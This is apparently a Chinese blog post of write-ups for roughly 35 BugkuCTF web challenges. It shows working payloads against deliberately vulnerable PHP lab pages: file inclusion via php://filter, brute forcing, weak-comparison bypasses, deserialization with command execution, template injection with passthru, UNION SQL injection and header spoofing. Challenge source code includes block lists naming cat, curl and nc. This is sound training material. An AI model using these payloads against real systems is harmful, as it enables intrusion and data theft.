BugkuCTF之web解题记录



BugkuCTF之web解题记录

[TOC]

1 文件包含

题目明示了这个题的漏洞类型,文件包含漏洞。

构造payload:?file=php://filter/read=convert.base64-encode/resource=index.php

文件包含类型的漏洞关于php://filter这一为协议有两张构造方式另一种是**?file=php://filter/resource=xxx.php**这一种类型往往无法显示,所以一般采用第一种方式。

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFnezk5YmZmMzJjZTkwYTZmY2I0YWVhYTFmMTAzNjM2MzY3fQ0KPz4NCjwvaHRtbD4NCg==

得到一大堆base64编码,解码得到flag

<html>
    <title>Bugku-web</title>
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{99bff32ce90a6fcb4aeaa1f103636367}
?>
</html>

2 好像需要密码

随便往里面传一个数据,使用burp抓包, 抓包后发送到Intruder模块 ,由于密码是五位数,还有字典生成工具生成一个从00000到99999的字典导入burp的Intruder模块, 将pwd置为参数,因为变化的只有一个参数pwd,所以选择的攻击方式为Sniper

POST /?yes HTTP/1.1
Host: 114.67.246.176:12057
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://114.67.246.176:12057
Connection: close
Referer: http://114.67.246.176:12057/
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1620903791,1621819076; _ga=GA1.1.1921386327.1620903793
Upgrade-Insecure-Requests: 1

pwd=§111§

在进行攻击就可以了,会跑一会,大概四五分钟就可以了。 当Payload12468的时候返回包的长度是不同的,这个数字很可能就是密码 输入12468,题目返回了flag

flag{003feb2a87a93d430302de9745225ccf}

3 md5

这个题的话应该是出题人的问题,md5碰撞没给源码…让我想到了当年那道社工题目,社工题目游戏附件里的文件被删了,出题人还不去修复…

好在评论区有高手啊,在评论区找到了题目的源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

QNKCDZO进行md5加密后,发现为0e开头,所以此又有题目的提示,考虑MD5碰撞,就是经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0。

随便用md5文件解码工具,解码一个0e开头的md5构造payloadphp?a=s1885207154a 就能得到flag

flag{1f8ca27b98fec312c275523757fcb967}

4 安慰奖

打开网页是空白的,查看源码有显示YmFja3Vwcw==是一个base64加密,得到backups备份意思是这个网站应该有备份的php文件泄露,使用御剑扫描后台。有个名叫index.php.bnk的备份,下载下来

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }
    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>
  1. serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
  2. 与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。
  3. __construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
  4. __destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

需要注意的是当访问控制符为private与protect时,序列化时比较特殊:

  • protected属性被序列化的时候属性值会变成:%00*%00属性名
  • private属性被序列化的时候属性值会变成:%00类名%00属性名

分析代码

需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。

因为调用unserialize函数之前会调用__wakeup方法,后面会将username覆盖为guest。将变量个数修改为大于实际值的数就能够绕过。

构造:O:3:“ctf”:3:{s:11:"%00*%00username";s:5:“admin”;s:6:"%00*%00cmd";s:2:“ls”;}

使用tac指令读取:O:3:“ctf”:3:{s:11:"%00*%00username";s:5:“admin”;s:6:"%00*%00cmd";s:12:“tac flag.php”;}

flag{Unser1alize_and_2CE_Add}

5 程序员本地登录

这个题我好想做了好几次了,我想了一下,这个其实不用burp,在浏览器拦截重发就行,而且他说了本地登录

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段

2

加上X-Forwarded-For: 127.0.0.1就行了。

得到~~flag{931ce924403e96daa678573e8f53a1fa}~~

6 需要管理员

打开网页他给我报404 Not Found,使用御剑扫描后台,找到robots.txt打开就行。

3

Disallow: /resusl.php接着打开就行,然后他回显Warning:你不是管理员你的IP已经被记录到日志了

4

在下面有回显,if (GET[x]==_GET[x]==password) ,猜一手password为admin,构造?x=admin就的得到了flag

flag{b57e4e59986a3799ed691bd01312686d}

7 变量1

打开网址发现一段PHP代码:

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

**if(isset(_GET['args']))**要求我们通过get方法传参,同时**if(!preg_match("/^\w+/",args))这一句代码我们可以知道他把  大小写字母和数字  ,的全部过滤了。args))**这一句代码我们可以知道他把~~大小写字母和数字~~,的全部过滤了。$args说明了这个应该是个数组,传一个超全局变量GLOBALS就能得到flag

构造的pload :http://114.67.246.176:11080/?args=GLOBALS

1634979258452

关于PHP的超全局变量找了一篇博客

8 前女友

6

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}?>

看到md5,和==符号就想到了PHP的弱类型。

构造: index.php?v1[]=QLTHNDT&v2[]=UTIPEZQ&v3[]=EEIZDOI

MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null,这样也可以得到答案了。

构造: index.php?v1[]=1&v2[]=2&v3[]=3

得到flag{64608b793996e7d5ea23984c5dd17e77}

9 聪明的php

<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)
    {print $key."\n";
        if(preg_match("/flag|\/flag/i", $value)){            
            $smarty->display('./template.html');}
     elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
            $smarty->display('./template.html');}
     else{$smarty->display("eval:".$value);}        
    }
}?> 

system|readfile|gz|exec|eval|cat|assert|file|fgets这些函数被过滤掉了,**passthru()**函数没有被过滤可以使用。

构造**?a={passthru(“ls -al /”)}**

1634980934909

构造payload: /index.php?f={fread(fopen("/_23682",“r”),4096)}

10 学生成绩查询

典型的sql注入,我还是喜欢手动注入,使用sqlmap更简单,但是多动动手肯定没大事。

id=a' union select 1,2,3,4#
id=a' union select 1,2,3,database()#

8

得到数据库为skctf,在使用查询语句,查询表名

id=a; union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g'

9

id=a' union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g'确定列名为skctf_flag

继续注入id=a' union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g' #得到flag{ceea3e18163b989ab469f6b2ad7bec22}

11 秋名山车神

亲请在2s内计算老司机的车速是多少

1213033684-39909826-1331751592-916805948 * 50919270+831329677-2067628447 * 306216988*695768212-91423220+1902912207=?;

刷新了一下确定这个是会不断改变的,还是写一个脚本解决吧,这个题目可不是人手能算的。

import re
import requests
s=requests.session()
r=s.get("http://114.67.246.176:18683/")
searchObj= re.search(r'^<div>(.*)=\?;</div>$',r.text,re.M | re.S)
d={
    "value":eval(searchObj.group(1))
}
r=s.post("http://114.67.246.176:18683/",data=d)
print(r.text)

12 速度要快

使用Firefox打开题目网址,在F12下有个**flag:**这个是通过base64加密的产物,通过base64解码。得到

6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTkRZNE9EST0=

NDY4ODI=解码得到46882,传一下,然后他骂我…

import requests
import base64

url = '''http://123.206.87.240:8002/web6/'''
header = requests.get(url).headers
key = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1])
phpsessid = header['Set-Cookie'].split(';')[0].split('=')[1]
post = {'margin':key}
cookie = {'PHPSESSID':phpsessid}
print(requests.post(url, data = post, cookies = cookie).text)

使用python脚本解码,并传参得到flag。

13 社工 伪造

这道题我不想多说,改QQ名这件事当真离谱…

1634986224287

描述: cookies欺骗

进入题目之后我们可以看到这个题目的url

http://114.67.175.224:13933/index.php?line=&filename=a2V5cy50eHQ=

将a2V5cy50eHQ这个明显是Base64编码,进行解码知道是keys.txt,虽然不知道这个key.txt里面是什么,先复制出来。尝试用修改参数filename的值为index.php ,这个时候我们什么都看不到,

写一个脚本查下源代码

import requests
a=30
for i in range(a):
    url="http://114.67.175.224:13933/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print (s.text)

接下来就是,分析源码了,这就进入了php

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
                 '0' =>'keys.txt',
                 '1' =>'index.php',
             );
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')
{
    $file_list[2]='keys.php';
}
if(in_array($file, $file_list))
{
    $fa = file($file);
    echo $fa[$line];
}
?>

hackbar里面就有cookie,虽然这个是在火狐里,直接开火狐,传一个margin=margin出去。查看源代码得到flag

15 各种绕过哟

这个还是属于php特性吧,sha()函数无法处理数组,这里我们可以直接构造数组,传进去就能得到flag…

get:?uname[]=1&id=margin
post:passwd[]=2

16 备份是个好习惯

备份啊,估计bak文件吧…

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

果然不是个签到啊,这样的话又回到了PHP特性的处理,还是可以通过数组进行绕过就能得到flag。

一开始没注意到过滤了key,这里可以使用双写绕过就是kekeyy在key被第一重的str_replace过滤之后我们仍然可以通过ke和y的拼接得到需要的key。

17 网站被黑

先拿御剑扫描下后台,发现一个shell.php的页面进去,就是后门…没有其他提示了,到这里应该就说明了是需要用burp爆破密码了,直接在火狐里打开挂代理,抓包爆破一气呵成,找到了hack这个长度与其他的返回不同

输进去看下得到flag

18 字符?正则?

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>

1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次

好了这样就可以构造了

key@keykeykeykeykey:\\\\1keya@

19 BP

弱密码top1000?z???

top1000的弱密码而且是以z开头的,这连burp都不用开了啊,开burp还需要时间,用Excel筛选,得出只有几个符合条件的密码,输入即可

20 newPHP

<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
    public $hint;
    public function __construct($hint){
        $this->hint = $hint;
    }
    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }
    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}
class User
{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");
unserialize(read(write($a)));

emmmmm…这道题考察的应该是php反序列化?

php var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值,输出的是变量的值并回返数据类型.

15:13用时33min…

在第一个类eval()里面有一个php强比较hint===“hint.php”,这里hint.php也就是我们需要构造的

O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

是post进去usernamepassword两个参数,然后触发的是User类,但是有个read和write方法,经过处理后才进行序列化

然后看这两个函数,write和read两个函数,read()函数中将’\0\0\0’六个字符替换为了三个字符,这就给反序列化字符串逃逸提供了机会。 也就是php字符串逃逸导致的漏洞,即序列化的字符串在经过过滤函数不正确的处理而导致对象注入

构造ployed:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";s:8:“password”;O:4:“evil”:2:{s:4:“hint”;s:8:“hint.php”;}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

令username= \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

在write函数在\0的数目成功翻倍,进入read()函数从\0开始到&password=a";s:8:“password”;进入user类的构造,而O:4:“evil”:2:{s:4:“hint”;s:8:“hint.php”;}则成功逃逸,

这里还有个__wakeup()将在序列化之后立即被调用, wakeup()函数的漏洞利用…

将得到的hint串进行解码,得到新一段php代码,直接访问index.CGI

<?php
 $hint = "index.cgi";
 // You can't see me~
?php>

从url可以看出get,使用file协议从本地读取flag即可。

21 道友不来算一算凶吉?

半仙我夜观天象,掐指一算,卜出卦象如下,不知道的有无道友可解此卦。

密文:升益艮归妹井萃旅离旅困未济屯未济中孚未济升困噬嗑鼎震巽噬嗑解节井萃离未济蒙归妹大畜无妄解兑临睽升睽未济无妄遁涣归妹

嗯?为什么还有a和b呢?
a=5,b=7

这是一道标着密码学的杂项…八卦通过两两组合一共有64种卦象,在题目附件里有一个python代码,应该是作为加密使用的,我们要做的是根据这个找到解密方式

from secret import flag
def encrpyt5():
    enc=''
    for i in flag:
        enc+=chr((a*(ord(i)-97)+b)%26+97)
    return(enc)
def encrypt4():
    temp=''
    offset=5
    for i in range(len(enc)):
        temp+=chr(ord(enc[i])-offset-i)
    return(temp)

这就基本跟当时那个一样了…还真就是BUJCTF2020那个密码学…

import base64
s = '升益艮归妹井萃旅离旅困未济屯未济中孚未济升困噬嗑鼎震巽噬嗑解节井萃离未济蒙归妹大畜无妄解兑临睽升睽未济无妄遁涣归妹'
dic = {'坤': '000000', '剥': '000001', '比': '000010', '观': '000011', '豫': '000100', '晋': '000101', '萃': '000110', '否': '000111', '谦': '001000', '艮': '001001', '蹇': '001010', '渐': '001011', '小过': '001100', '旅': '001101', '咸': '001110', '遁': '001111', '师': '010000', '蒙': '010001', '坎': '010010', '涣': '010011', '解': '010100', '未济': '010101', '困': '010110', '讼': '010111', '升': '011000', '蛊': '011001', '井': '011010', '巽': '011011', '恒': '011100', '鼎': '011101', '大过': '011110', '姤': '011111','复': '100000', '颐': '100001', '屯': '100010', '益': '100011', '震': '100100', '噬嗑': '100101', '随': '100110', '无妄': '100111', '明夷': '101000', '贲': '101001', '既济': '101010', '家人': '101011', '丰': '101100', '离': '101101', '革': '101110', '同人': '101111', '临': '110000', '损': '110001', '节': '110010', '中孚': '110011', '归妹': '110100', '睽': '110101', '兑': '110110', '履': '110111', '泰': '111000', '大畜': '111001', '需': '111010', '小畜': '111011', '大壮': '111100', '大有': '111101', '夬': '111110', '乾': '111111'}
l = []
k = 0  # 两个字符的标志位
for i in range(len(s)):
    if k == 1:
        k = 0
        continue
    try:
        l.append(dic[s[i]])
    except:
        l.append(dic[s[i]+s[i+1]])
        k = 1

ss = ''.join(l)

enc = ''
for i in range(0, len(ss), 8):
    enc += chr(eval('0b'+ss[i:i+8]))

s = base64.b64decode(enc).decode()

def encrypt4(enc):
    temp = ''
    offset = 5
    for i in range(len(enc)):
        temp += chr(ord(enc[i])-offset-i)
    return(temp)

def decrypt4(enc):
    temp = ''
    offset = 5
    for i in range(len(enc)):
        temp += chr(ord(enc[i])+offset+i)
    return(temp)
a, b = 5, 7

def encrpyt5(flag):
    enc = ''
    for i in flag:
        enc += chr((a*(ord(i)-97)+b) % 26+97)
    return(enc)
def decrypt5(flag):
    enc = ''
    for i in flag:
        for k in range(20):
            if (ord(i) - 97 - b+26*k) % a == 0:
                enc += chr((ord(i) - 97 - b + 26 * k) // a + 97)
                break
    return(enc)
print(decrypt5(decrypt4(s)))

22 Flask_FileUpload

<html>
<head>
  <title>File Upload</title>
</head>
<body>
    <form action="/uploader" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" accept=".jpg,.png" />
        <input type="submit" />
    </form>
<!-- Give me the file, and I will return the Running results by python to you! -->
</body>
</html>

使用POST传参而且只传jpg或者png文件,而且上传的文件只允许是jpg png格式 且文件只会用python上传 ,构造jpg文件。

os.system('ls /')

可以看到里面存着flag文件

import os
os.system('cat /flag')  #得到flag

22

打开看到一大堆滑稽,F12查看网页源代码就能发现flag,明显的送分题。

23

题目描述输入验证码即可得到flag,正常输入发现只能输入1位,F12,将maxlength="1"改为maxlength="2"即可正确输入,得到flag。还是送分题。

flag{ea008b7aaab0d3ea27c8580df13f52c3}

24

根据题意构造url即可得到flag

http://114.67.246.176:14287/?what=flag
flag{45240136ecbcb3c6db9d1dcb756ced4b}

25

跟上一道题类似,只不过这次是post,使用Firefox插架Max HackBar输入what=flag得到flag

flag{1e7a6931002d229ac37085a846d21e6d} 

26

题目描述矛盾,打开链接看到相应php代码描述。if=($num==1) 意思就是num等于数字1就会打印flag 但是is_numeric函数检测数字意味着,既要是数字1,又不能是数字。
在评论区有这个介绍。

PHP一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。 在PHP中,== 会先进行类型转换,再进行对比,而===会先比较类型,如果类型不同直接返回不相等。

题目中正好使用的是==号我们可以构造类似1a的数字加字母的组合

构建url得到flag:

flag {2b16dd84ae5d35c74fe16c759849b871}

27

直接查看网页源代码,得到unicode编码解码得到相flag

flag {f41c9ed6534a088591cfc7cb118d8b46}

28 你必须让他停下来

右键查看源代码,然后一直刷新源代码的页面,就能得到flag,当然有burpsuit抓包,然后sendtorepeter,一直send也一样,在第10张jpg的响应里边就有flag.
这两种方法本质上是一样的。

flag{222c6ea6e3f1b78d0e47688932d6c097}

在补充一点提交flag时要记得把代理关上。

29 文件包含

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

审计PHP代码得到以下信息。

request函数表明可以任选get或post方法提交
helloeval() 函数把字符串按照 PHP 代码来执行
show_source用来返回文件内容
include函数会将flag.php包含在该文件中

由此我们可以构建url **/?hello=show_source(‘flag.php’)或者?hello=file(‘flag.php’)**均能得到flag。flag{e5d1a21b2cf1819415ce4ba106e868d9}

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }eval("var_dump($$args);");}
?> 

php代码实际上就是最大的提示。

flag in the variable:提示flag在变量里面
preg_match:使用正则表达式匹配,/^\w+$/ 表明只能输入数字和英文字母及下划线
说明此时只能用全局变量查看GLOBALS

构造?args=GLOBALS得到flag:
flag{6ee63ee40bbaf7d0992a373217f73f43}

30 头等舱

我觉得这道题真的是送分的,F12查看网络在响应头里就能得到flag。当然抓包也一样但是麻烦了。

31 网站被黑

描  述: 网站被黑了 黑客会不会留下后门

既然提示了后门的存在就用,扫描工具扫描下。利用御剑扫描,扫出来两个.php一个是那个黑页,另一个是一张登录界面。

在得到网址后进项抓包,直接用burp suit自带的爆破功能爆破下就OK了。(注burp suite的社区版爆破功能好像不是很全,推荐去找一个别人破解的专业版)

32 本地管理员

查看网页源代码在一堆n后面有个base64,解码得到管理员密码,账户盲猜admin登录,提示IP禁止访问,请联系本地管理员登陆,IP已被记录.使用本地管理员登录,就要进行IP伪造,编辑消息头,X-Forwarded-For:127.0.0.1。得到flag

33 game1

一道游戏题,正常来说游戏应该是杂项吧,这一次的游戏题有一说一竟然让我忘了我是来做题的。
在评论区得到大佬的提示,这一道游戏题分数上限是99999,使用burp suite抓包,在最后出成绩时能看到

GET /score.php?score=200&ip=223.104.190.201&sign=zMMjAw== HTTP/1.1

sign=zMMjAw像是base64加密,但是直接解算不出来,多玩几次游戏,发现zM是一直都有的,对后面的部分解码正是游戏得到的分数。构造url

score.php?score=99999&ip=223.104.190.201&sign=zMOTk5OTk==

得到flag。flag{78544bfa1e21dcf4dcbd7488870b267f}

34 看看源码吧

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

使用在线工具解码得到三段url按照要求进行拼接

function checkSubmit(){var a=document.getElementById(“password”);if(“undefined”!=typeof a){if(“67d709b2b54aa2aa648cf6e87a7114f1”==a.value)return!0;alert(“Error”);a.focus();return!1}}document.getElementById(“levelQuest”).onsubmit=checkSubmit;

中间那一段就是要在网页上提交的东西,提交得到flag;

flag{f51a5a7335f538b979ac5eaf43e4cad6}

35

怎么说呢?这道题考察了文件包含&PHP伪协议这个作者整理的很好,可以去借鉴借鉴。
构造一个url

php?file=php://filter/read=convert.base64-encode/resource=index.php
读取目标服务器文件内容,并讲这些内容进行base64编码,我们只需要解码就可以了。

DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2U4M2VlOWM2YWY5MjdkYWFmMjAyMTExNjE1ZWJjOWYxfQ0KPz4NCjwvaHRtbD4NCg

对着一长串进行解码得到

<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{e83ee9c6af927daaf202111615ebc9f1}
?>
</html>

得到flag。


文章作者: 十二惊惶
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 十二惊惶 !
  目录